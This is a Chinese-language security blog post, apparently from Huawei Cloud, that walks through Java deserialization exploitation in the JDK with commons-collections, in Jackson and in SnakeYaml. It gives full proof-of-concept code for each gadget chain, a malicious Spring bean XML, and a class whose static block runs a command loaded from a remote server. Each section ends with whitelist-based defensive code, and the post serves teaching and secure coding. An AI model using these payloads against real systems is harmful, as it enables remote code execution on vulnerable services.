首页 > 其他分享 >安全攻防丨反序列化漏洞的实操演练

安全攻防丨反序列化漏洞的实操演练

时间:2023-09-05 18:04:14浏览次数:57  
标签:攻防 执行 String public 实操 new 序列化 class

通过实操演练,深入浅出、快速吃透反序列化漏洞的根本原理。搞懂了攻击本质原理,才知道代码怎么写才安全。

1. 基本概念

序列化:将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml等格式。

反序列化:将虚化列存储的二进制字节、xml、json、yaml等格式的信息重新还原转化为对象实例。

数据格式

序列化后的信息样例

二进制

安全攻防丨反序列化漏洞的实操演练_JDK

xml

安全攻防丨反序列化漏洞的实操演练_安全攻防_02

json

{"name":"tianyi","age":20}

yaml

!!com.huaweicloud.secure.Person {age: 20, name: tianyi}\n

序列化/反序列化库:如果想将对象序列化为二进制格式(或者反序列化回对象),直接使用JDK库自带的ObjectOutputStream的readObject、writeObject方法即可。如果想与其它格式(xml、json、yaml)相互转换,一般需要引入jackson、snakeyaml等其它开源组件,使用开源组件中提供的库方法。

库名称

序列化支持的格式

jdk

二进制、xml

xstream

xml、json

jackson

xml、json

fastjson

json

gson

json

json-io

json

flexson

json

snakeyaml

yaml

反序列化漏洞:当业务代码中使用了反序列化相关方法,但对输入的反序列化数据并未做充分的校验控制,攻击者能够控制反序列数据的输入时,攻击者可以针对业务代码的JDK、开源组件版本、已加载的类的情况精心构造一系列对象链数据,最终达成任意命令行执行或者远程代码执行的效果。

2. JDK反序列化漏洞利用实战

2.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

commons-collections组件版本:3.2.1(从3.2.2开始增加了安全校验,需要手动设置System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");)

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

2.2 漏洞利用代码演示

public static void main(String[] args) throws Exception{
    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
    Transformer chain4Obj = new ChainedTransformer(transformers);
    LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);
    TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");

    // 构造利用链的第一环BadAttributeValueExpException对象,因相关方法非public,使用反射强行设置val属性
    BadAttributeValueExpException chain1Obj = new BadAttributeValueExpException(null);
    Field valField = chain1Obj.getClass().getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(chain1Obj, chain2Obj);

    // 使用jdk库函数将chain1Obj序列化到文件D:\hacker中
    ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker"));
    objOut.writeObject(chain1Obj);

    // 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行
    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker"));
    Object object = objIn.readObject();
}

执行结果,成功打开了window的计算器应用,漏洞利用成功。

安全攻防丨反序列化漏洞的实操演练_反序列化_03

由于序列化部分的代码将对象序列化到文件D:\hacker中了,实际上我们直接读取该文件进行反序列化即可触发命令行执行(或者说我把该文件发给你,你在本地执行反序列化,一样会触发命令执行),如下:

安全攻防丨反序列化漏洞的实操演练_JDK_04

2.3 漏洞利用原理分析

  1. 首先,反序列化漏洞利用最终目标是要能任意执行命令行命令或者远程代码执行,本例中,是达成了执行任意命令行命令,即本例中的命令calc。在Java中相当于要执行代码:Runtime.getRuntime().exec("calc");其中calc只是示例,可以换成任意其它命令。

2、那是不是直接把这一行代码写到demo程序里就行了?不,直接写这一行代码你只能在demo程序运行的时候有效果。没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在jdk的ObjectInputStream.readObject的反序列过程会调用目标反序列化对象的readObject方法。我们需要利用该入口调用我们注入的命令。

3、那是不是直接定义一个对象X,在readObject方法里写这一行代码(Runtime.getRuntime().exec("calc");)就行了,样例代码为什么整的那么复杂?答案依然是不行。这样也仅能在攻击者本地执行,业务执行环境中是没有X这个类的定义的。会报错ClassNotFoundException。

安全攻防丨反序列化漏洞的实操演练_JDK_05

4、所以我们只能利用业务代码本身已经加载的jdk以及常用开源组件中的类来构造序列化攻击链,本例中选用的攻击链的第一环为BadAttributeValueExpException对象。当执行反序列化时,首先会触发调用BadAttributeValueExpException的readObject方法。

2.4 攻击链调用过程详解

攻击链调用的第一环为BadAttributeValueExpException的readObject方法:

BadAttributeValueExpException.readObject:

其中valObj即为我们在demo样例中执行valField.set(chain1Obj, chain2Obj);设置进val属性的chain2Obj对象(TiedMapEntry类型),紧接着调用TiedMapEntry的toString方法:

TiedMapEntry.toString:

安全攻防丨反序列化漏洞的实操演练_JDK_06

紧接着到getValue方法

TiedMapEntry.getValue:

this.map为我们在demo样例中执行TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");初始化进去的chain3Obj对象(LazyMap类型),所以接着会调用LazyMap的get方法:

LazyMap.get:

安全攻防丨反序列化漏洞的实操演练_安全攻防_07

this.factory为我们在demo样例中执行LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);初始化进去的chain4Obj对象(ChainedTransformer类型),所以接着执行ChainedTransformer的transform方法:

ChainedTransformer.transform:

该方法会遍历Transformer数组中我们注入进去利用InvokerTransformer的反射机制间接执行的命令行执行代码。相当于利用业务代码已加载的库函数,通过传值的方式(利用反射机制)间接实现了自定义代码执行,Transformer数组遍历执行transform的效果相当于执行了Runtime.getRuntime().exec("calc");这一行代码。

2.5 攻击链总结

利用库:jdk、commons-collections

利用入口:BadAttributeValueExpException的readObject方法

达成效果:任意命令行执行

涉及机制:反射

攻击链对象关系图:

安全攻防丨反序列化漏洞的实操演练_JDK_08

攻击链调用顺序图:

安全攻防丨反序列化漏洞的实操演练_JDK_09

2.6 进阶延伸-其它经典攻击链

假如业务上通过黑名单的方法禁止了BadAttributeValueExpException类的反序列化,能防止反序列化攻击吗?答案是否定的。这条链被禁了,我们换一条就是了。本小节介绍另外一条commons-collections的经典攻击链。

利用库:jdk(在1.8以下版本)、commons-collections(保持与上面版本一致即可)

利用入口:AnnotationInvocationHandler的readObject方法

达成效果:任意命令行执行

涉及机制:反射、动态代理

代码Poc:

public static void main(String[] args) throws Exception{
    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
    Transformer chanin5Obj = new ChainedTransformer(transformers);
    LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);

    Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    constructor.setAccessible(true);
    InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj);
    Map chain2Obj = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj);
    InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);

    // 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中
    ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2"));
    objOut.writeObject(chain1Obj);

    // 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行
    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2"));
    Object object = objIn.readObject();
}

执行结果:虽然后续代码有报错,但是已经执行完注入的命令行部分的代码。

安全攻防丨反序列化漏洞的实操演练_安全攻防_10

攻击链调用顺序图:

安全攻防丨反序列化漏洞的实操演练_JDK_11

2.7 安全编码防御

上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。

控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验:涉及到使用ObjectInputStream进行反序列化时,重写resolveClass方法增加白名单校验。业务代码使用重写的SecureObjectInputStream类进行反序列化。

public final class SecureObjectInputStream extends ObjectInputStream {
    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected SecureObjectInputStream() throws IOException, SecurityException {
        super();
    }

    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        if (!desc.getName().equals("com.huaweicloud.secure.serialize.jdk.Person")) { // 白名单校验
            throw new ClassNotFoundException(desc.getName() + " not find");
        }
        return super.resolveClass(desc);
    }
}

3. Jackson反序列化漏洞利用实战

3.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

jackson-databind组件版本:2.7.0

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.7.0</version>
</dependency>

spring-context组件版本:4.3.29.RELEASE

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>4.3.29.RELEASE</version>
</dependency>

3.2 漏洞利用代码演示

  • 远程服务器环境准备

本例需要启动http服务器,以便可以通过http协议获取恶意bean定义文件hackerbean.xml的内容

hackerbean.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="hacker" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc" />
        <property name="whatever" value="#{ hacker.start() }"/>
    </bean>
</beans>

 本例通过nodejs启动http服务器

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

启动http服务器,并验证可以成功访问hackerbean.xml文件

安全攻防丨反序列化漏洞的实操演练_JDK_12

安全攻防丨反序列化漏洞的实操演练_JDK_13

  • 攻击样例代码
public static void main(String[] args) throws Exception{
    String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:3000/hackerbean.xml\"]\n";
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    Object obj = mapper.readValue(json, Object.class);
    System.out.println(obj);
}
  •  执行结果

日志会报创建bean失败抛异常,但是我们关键的执行命令行命令的代码已经执行过了,成功打开了计算器

安全攻防丨反序列化漏洞的实操演练_反序列化_14

3.3 漏洞利用原理分析

  • 本例最终达成的目的是通过远程加载bean配置文件,利用初始化ProcessImpl类的bean的过程,将任意字符串作为命令行执行内容注入,达到任意命令行命令执行的效果。
  • 本例利用的是Jackson的enableDefaultTyping(默认类型处理)功能。在 Jackson 库中,enableDefaultTyping是一个用于启用默认类型处理的方法。它的作用是在序列化和反序列化过程中包含类型信息,以便在恢复对象时能够正确地处理多态类型。一般配合业务代码中不指定具体类型的写法使用mapper.readValue(json, Object.class);(readValue的第二个参数为Object.class)即在代码中不明确指定反序列化后的类型,类型信息存储在序列化后的数据中。
  • 此时,如果反序列化内容为数组形式[a,b],a为类路径名称时,第二个参数会被作为构造函数或者属性set方法的参数触发a类对应的代码执行。(第二个参数后面的参数会被忽略掉)

当b为对象类型格式时:触发a的无参构造函数执行,以及对应属性set方法执行。(例如:["com.huaweicloud.secure.MySerialize", {"name":"tianyi","age":12}]会触发setName、setAge方法执行)

当b为非对象类型格式时:会根据类型(字符串、数字、bool等)尝试寻找单参数的参数类型匹配的构造方法执行,找不到会抛异常。

  • 本例中利用了enableDefaultTyping的特性在反序列化过程中创建了ClassPathXmlApplicationContext对象,并传入http://127.0.0.1:3000/hackerbean.xml作为参数调用ClassPathXmlApplicationContext的构造方法,达到了远程加载bean文件解析bean的作用。

3.4 攻击链调用过程详解

攻击链调用的第一环为ClassPathXmlApplicationContext的构造方法:

ClassPathXmlApplicationContext.ClassPathXmlApplicationContext:

安全攻防丨反序列化漏洞的实操演练_JDK_15

加载远程文件http://127.0.0.1:3000/hackerbean.xml作为bean进行解析

hackerbean.xml

安全攻防丨反序列化漏洞的实操演练_JDK_16

创建ProcessBuilder,构造器依赖注入,调用ProcessBuilder的构造方法

安全攻防丨反序列化漏洞的实操演练_JDK_17

试图初始化whatever属性(不需要实际存在该属性)的值,触发调用ProcessBuilder的start方法,成功将hackerbean.xml中构造器注入的内容calc作为命令行执行。

安全攻防丨反序列化漏洞的实操演练_反序列化_18

3.5 攻击链总结

利用库:jdk、jackson-databind、spring-context

利用入口:ClassPathXmlApplicationContext的构造方法

达成效果:任意命令行执行(远程加载bean配置文件)

涉及机制:Jackson的enableDefaultTyping(默认类型处理)功能、Spring bean远程加载/依赖注入/属性动态初始化功能

3.6 进阶延伸-其它经典攻击链

如果mapper.readValue的第二个参数为具体的类,还有办法攻击吗?答案是有的,但是需要业务类具备一定的特殊写法。

Poc:

public static void main(String[] args) throws Exception{
        String json = "{\"context\": \"http://127.0.0.1:3000/hackerbean.xml\"}";
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(json, Person.class);
        System.out.println(obj);
    }

Person类的定义:

public class Person {
    private String name;
    private Integer age;
    private ClassPathXmlApplicationContext context;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Integer getAge() {
        return age;
    }
    public void setAge(Integer age) {
        this.age = age;
    }
    public ClassPathXmlApplicationContext getContext() {
        return context;
    }
    public void setContext(ClassPathXmlApplicationContext context) {
        this.context = context;
    }
}

执行结果:

安全攻防丨反序列化漏洞的实操演练_安全攻防_19

原理解析:

readValue指定了要反序列化Person类,json的内容为{属性名:属性值},触发Person的set属性名的方法,在本例中触发setContext(ClassPathXmlApplicationContext context)方法执行,我们传入的属性值是字符串,与ClassPathXmlApplicationContext不匹配时,会自动触发调用ClassPathXmlApplicationContext的构造方法,将字符串作为构造方法的参数传入。就跟上面的利用链连上了。(而且注意本例不需要开启enableDefaultTyping功能

3.7 安全编码防御

  • 控制反序列化源,除非业务需要,一定要禁止反序列化数据源可被外部控制。
  • 禁用enableDefaultTyping特性
  • 反序列化的属性严格审视,最好都是简单类型的,如果涉及到复杂类,要排查其构造方法是否有被利用的风险。

4. SnakeYaml反序列化漏洞利用实战

4.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

snakeyaml组件版本:1.23

4.2 漏洞利用代码演示

  • 远程服务器环境准备

本例需要启动http服务器,以便可以通过http协议远程加载配置文件META-INF\services\javax.script.ScriptEngineFactory以及恶意类PoCWin.class的内容

META-INF\services\javax.script.ScriptEngineFactory:(在web服务器的根目录下依次创建META-INF、services文件夹,将javax.script.ScriptEngineFactory放到services文件夹下)

PoCWin

PoCWin.class对应的源码内容:(放在web服务器的根目录下) 

public class PoCWin implements ScriptEngineFactory {
    static {
        try {
            System.out.println("Hacked by tianyi");
            Runtime.getRuntime().exec("calc.exe").waitFor();//执行计算器
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }

    // 其它接口必须实现的方法
    ...
}

本例通过nodejs启动http服务器

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

启动http服务器,并验证可以成功访问javax.script.ScriptEngineFactory文件、PoCWin.class文件

安全攻防丨反序列化漏洞的实操演练_JDK_20

  • 攻击样例代码
public static void main(String[] args) throws Exception{
    String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.load(poc);
    System.out.println(object);
}
  •  执行结果

安全攻防丨反序列化漏洞的实操演练_反序列化_21

成功打印出Hacked by tianyi、弹出计算器

4.3 漏洞利用原理分析

  • 本例最终达成的目的是通过远程加载class文件,利用类加载过程,将任意代码注入到static静态块中,达到远程任意代码执行的效果。
  • snakeyaml与jackson类似,反序列化时也有不指定类型(Yaml.load)与指定类型(Yaml.loadAs)两种方法。本例中使用的是不指定类型的方法,类型信息在反序列化信息中。本例Poc中"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]"被反序列化时的效果为:创建ScriptEngineManager类型的对象,调用其构造方法ScriptEngineManager(ClassLoader loader),由触发创建ClassLoader的对象,调用其构造方法URLClassLoader(URL[] urls),其中的\"http://127.0.0.1:3000/\"则被作为urls参数传入构造方法。
  • 本例中利用了Java SPI机制,jdk中的ScriptEngineManager类会加载类加载器中所有实现javax.script.ScriptEngineFactory接口的类。我们正是利用这个逻辑,创建了实现了ScriptEngineFactory接口的PoCWin类,并注册到配置文件META-INF\services\javax.script.ScriptEngineFactory中。(注意:规则为注册文件名与接口名保持一致)

Java SPI(Service Provider Interface)是Java提供的一种用于扩展框架的机制。它允许开发者定义一个接口,然后通过配置文件的方式,将接口的具体实现类动态地加载到应用程序中。

4.4 攻击链调用过程详解

攻击链的第一环为ScriptEngineManager的构造方法:

ScriptEngineManager的构造方法

安全攻防丨反序列化漏洞的实操演练_JDK_22

为了调用该构造方法,需要先完成其入参ClassLoader的前置初始化,调用URLClassLoader的构造方法,根据传入的url地址获取对应的待加载class文件PoCWin.class

URLClassLoader的构造方法

安全攻防丨反序列化漏洞的实操演练_反序列化_23

之后调用ScriptEngineManager的init方法执行类的加载

ScriptEngineManager.init

安全攻防丨反序列化漏洞的实操演练_反序列化_24

具体会在ScriptEngineManager.initEngines方法的122行,遍历获取到PoCWin类执行加载,触发static静态块代码的执行。(sl中获取了类加载器加载到的所有实现了javax.script.ScriptEngineFactory接口的类的列表)

ScriptEngineManager.initEngines

安全攻防丨反序列化漏洞的实操演练_JDK_25

4.5 攻击链总结

利用库:jdk、snakeyaml

利用入口:ScriptEngineManager的构造方法

达成效果:远程任意代码执行

涉及机制:Java SPI

4.6 进阶延伸-其它经典攻击链

如果业务代码使用了带类型的反序列化方法Yaml.loadAs,还能进行攻击吗?也是可以的。

Poc:

public static void main(String[] args) throws Exception{
    String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.loadAs(poc, Person.class);
    System.out.println(object);
}

Person类的定义:

public class Person implements Serializable {
    private String name;
    private Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Person(String name) {
        System.out.println("init");
    }
}

执行结果:

安全攻防丨反序列化漏洞的实操演练_反序列化_26

原理解析:

loadAs方法会将poc内容[]中的部分作为对象进行初始化为参数对象,然后调用Person的单参数的构造方法Person(String name),将参数传入,虽然会报错参数类型不匹配,但是[]中内容初始化的过程已经触发了恶意代码的执行。(注意:本例中poc比上例中多了一层[],如果不多这一层[],则仅会创建URLClassLoader对象作为参数,不会触发恶意代码执行)

4.7 安全编码防御

控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验:定义我们自己的支持白名单的SecureConstructor,继承Constructor(当使用无参构造函数new Yaml()创建Yaml对象时,默认使用的就是Constructor)。Constructor会默认放通所有的类执行yaml对象解析逻辑(即执行ConstructYamlObject中的逻辑)。所以我们首先要在构造函数中将map中null对应的构建器从ConstructYamlObject改为undefinedConstructor。然后创建addTrustClass方法,支持将制定类名加入map中,达到白名单的效果。

public class SecureConstructor extends Constructor {
    public SecureConstructor() {
        super();
        yamlConstructors.put(null, undefinedConstructor);   // 修改逻辑为默认拒绝,即未在map中定义的类默认走undefinedConstructor的逻辑,抛异常
    }
    
    public void addTrustClass(String name) {    // 添加类的全路径名则会进入白名单
        yamlConstructors.put(new Tag(Tag.PREFIX + name), new SecureConstructObject());
    }
    protected class SecureConstructObject extends ConstructYamlObject {
        public SecureConstructObject() {
            super();
        }
    }
}

业务代码在new Yaml时将SecureConstructor传进去,以起到白名单防护的作用

public static void main(String[] args) throws Exception{
        String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
        SecureConstructor secureConstructor = new SecureConstructor();
        secureConstructor.addTrustClass("com.huaweicloud.secure.serialize.snakeyaml.Person");
        Yaml yaml = new Yaml(secureConstructor);
        Object object = yaml.loadAs(poc, Person.class);
        System.out.println(object);
    }

执行结果如下,ScriptEngineManager类在创建时被拦截

安全攻防丨反序列化漏洞的实操演练_JDK_27


 点击关注,第一时间了解华为云新鲜技术~

标签:攻防,执行,String,public,实操,new,序列化,class
From: https://blog.51cto.com/u_15214399/7377901

相关文章

  • AI绘画:StableDiffusion实操教程-完美世界-魔女(附高清图下载)
    前段时间我分享了StableDiffusion的非常完整的教程:“AI绘画:StableDiffusion终极宝典:从入门到精通”尽管如此,还有读者反馈说,尽管已经成功安装,但生成的图片与我展示的结果相去甚远。真实感和质感之间的差距到底在哪里?关键之处在于使用正确的大模型model和专用的lora包。今天,我......
  • 精简深拷贝ArrayList实例(包括递归和序列化方法)
    作者fbysss关键字:深拷贝,序列化前言:     日前一哥们问我一个有关多层ArrayList拷贝的问题,我帮他写了一个例程,感觉以后用得着,便放上来了。如果要在自身类中加入Clone功能,需要implementsICloneable接口,然后用下面的相应代码重写clone方法即可。源代码:packagecom.sss.t......
  • 序列化和反序列化二叉搜索树
    设计一个算法来序列化和反序列化二叉搜索树对序列化/反序列化算法的工作方式没有限制您只需确保二叉搜索树可以序列化为字符串,并且可以将该字符串反序列化为最初的二叉搜索树。1.非递归先序遍历+编码classCodec{public://Encodesatreetoasinglestring.......
  • Java反序列化:CommonsCollections6调试分析
    JDK8u71大版本中AnnotationInvocationHandler.readObject被修改了,为了使得CC1能够利用,又造了一条CC6CC6解决的是CC1在高版本jdk上无法利用的问题这里搬一下web佬Boogipop的整理图:环境搭建JDK测试版本:JDK11基础知识1.CC1和CC6的恶意代码执行触发链再来捋顺一下这条恶......
  • AI绘画:StableDiffusion实操教程-斗罗大陆2-江楠楠-常服(附高清图下载)
    前段时间我分享了StableDiffusion的非常完整的教程:“AI绘画:StableDiffusion终极宝典:从入门到精通”尽管如此,还有读者反馈说,尽管已经成功安装,但生成的图片与我展示的结果相去甚远。真实感和质感之间的差距到底在哪里?关键之处在于使用正确的大模型model和专用的lora包。今天,我......
  • flowable对已经部署的流程定义进行更新(实操)
    首先通过createProcessDefinitionQuery()方法获取特定流程定义(根据流程定义键和最新版本)。然后,使用deleteDeployment()方法删除旧的部署及其相关数据。接下来,我们创建新的部署对象,并使用addClasspathResource()方法添加新的流程资源文件。最后,通过deploy()方法执行部署操作。在重......
  • C#中泛型集合List<T>反序列化问题及解决方法
    一、普通类型的反序列化程序集问题及处理方法在一些应用系统中常常有两个子系统软件A与B:A软件序列化一个数据文件,该文件将在B软件中使用。例如,在15年的交通运输部小样本调查数据的审核软件中,A软件就是笔者自己用的审核规则编制软件;B软件则是给用户使用的审核小样本调查数据的客户......
  • dubbo 支持的 9 种协议和对应序列化协议
    1、dubbo协议(默认)默认就是走dubbo协议的,单一长连接,NIO异步通信,基于hessian作为序列化协议2、rmi协议走java二进制序列化,多个短连接,适合消费者和提供者数量差不多,适用于文件的传输,一般较少用3、hessian协议走hessian序列化协议,多个短连接,适用于提供者数量比消费者数量还多,适用......
  • AI绘画美女:StableDiffusion实操教程-完美世界-国漫女神云曦(附高清图下载)
    前段时间分享过StableDiffusion的入门到精通教程:AI绘画:StableDiffusion终极宝典:从入门到精通但是还有人就问:安装是安装好了,可是为什么生成的图片和你生成的图片差距那么远呢?怎么真实感和质感一个天一个地呢?其实很关键的因素,就是别人用了对的对应大模型model和专门的lora包。......
  • 同时创建作者和作者详情表,ModelSerializer使用,模块与包的使用,反序列化校验源码分析
    1同时创建作者和作者详情表1.1django项目改名字后顺利运行#1先改文件夹名#2改项目名#3改项目内的文件夹名#4替换掉所有文件中的drf_day04---》drf_day05#5命令行中启动:pythonmanage.pyrunserver#6setting--->django--->指定项目根路径1.1作者......